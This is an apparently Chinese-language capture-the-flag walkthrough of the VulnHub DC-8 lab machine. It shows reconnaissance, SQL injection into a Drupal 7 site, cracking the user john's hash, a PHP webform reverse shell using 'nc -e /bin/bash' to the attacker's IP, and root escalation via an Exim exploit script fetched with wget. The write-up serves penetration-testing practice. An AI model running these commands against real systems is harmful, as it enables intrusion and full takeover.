vulnhub靶机DC8
知识点:
Drupal 7
SQL注入john
破解HASH
Drupal 7
后台编辑页面Getshell
exim
SUID本地提权
信息收集
主机发现
1 | nmap -sP 192.168.211.1/24 |
目标主机的ip为192.168.211.141
扫描靶机开放的端口服务
1 | nmap -A 192.168.211.141 -p 1-65535 |
靶机开放了22端口和80端口
访问80端口
发现还是一个drupal网站并且显示此网站收到干扰
先扫描网站目录
1 | Nikto -h 192.168.211.141 |
进行指纹识别whatweb 192.1 68.211.141 发现是一个drupal 7网站
getshell
我们发现左边这三项上下其实是不一样的,在contact us中为?sid 在dc-8中为?nid 但是只有在nid中发现有SQL注入点,并且很容易手工注入出用户名和密码
1 | group_concat(table_name) from information_schema.tables where table_schema=database() |
有两个用户,admin和john,将其放在john中破解密码
跑了很久之跑出了john的密码为turtle
去尝试登录,并且登录成功
找了很久,在Add content–>Webform去添加webshell
随便添加一个,点进去,在form setting里面发现可以写php
写入一句话木马
点击刚才创建的webshell用中国蚁剑连接
但是找不到路径,所以只能直接反弹shell
1 | system("nc -e /bin/bash 192.168.211.135 7777"); php |
现在主机上监听7777端口
发现这些代码要提交表单后才能执行,之前创建的没有创建表单,所以直接在contact us里面编写反弹shell的代码
然后提交表单
成功getshell
然后使用python进入交互模式
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
提权
linux里面有个suid权限执行二进制文件,这个权限涉及的命令权限都很大。
我们用find命令查询一下这些命令:
1 | find / -perm -u=s -type f 2>/dev/null |
发现exim4,查看对应版本信息
然后 使用searchsloit搜索
1 | searchsploit exim |
发现可利用的脚本
查看脚本
本地开启80端口,让靶机去下载该脚本python -m SimpleHTTPServer 80
使用wget下载,发现只有在tmp目录下有权限
1 | wget http://192.168.211.135/exp.sh |
根据脚本里面的方法提权(netcat)
发现文件无法执行,所以先给文件一个权限
1 | chmod 777 exp.sh |
kali监听31337端口—不用监听,脚本直接使用,不用修改
执行脚本./exp.sh -m netcat
成功反弹shell且为root权限
成功查看到flag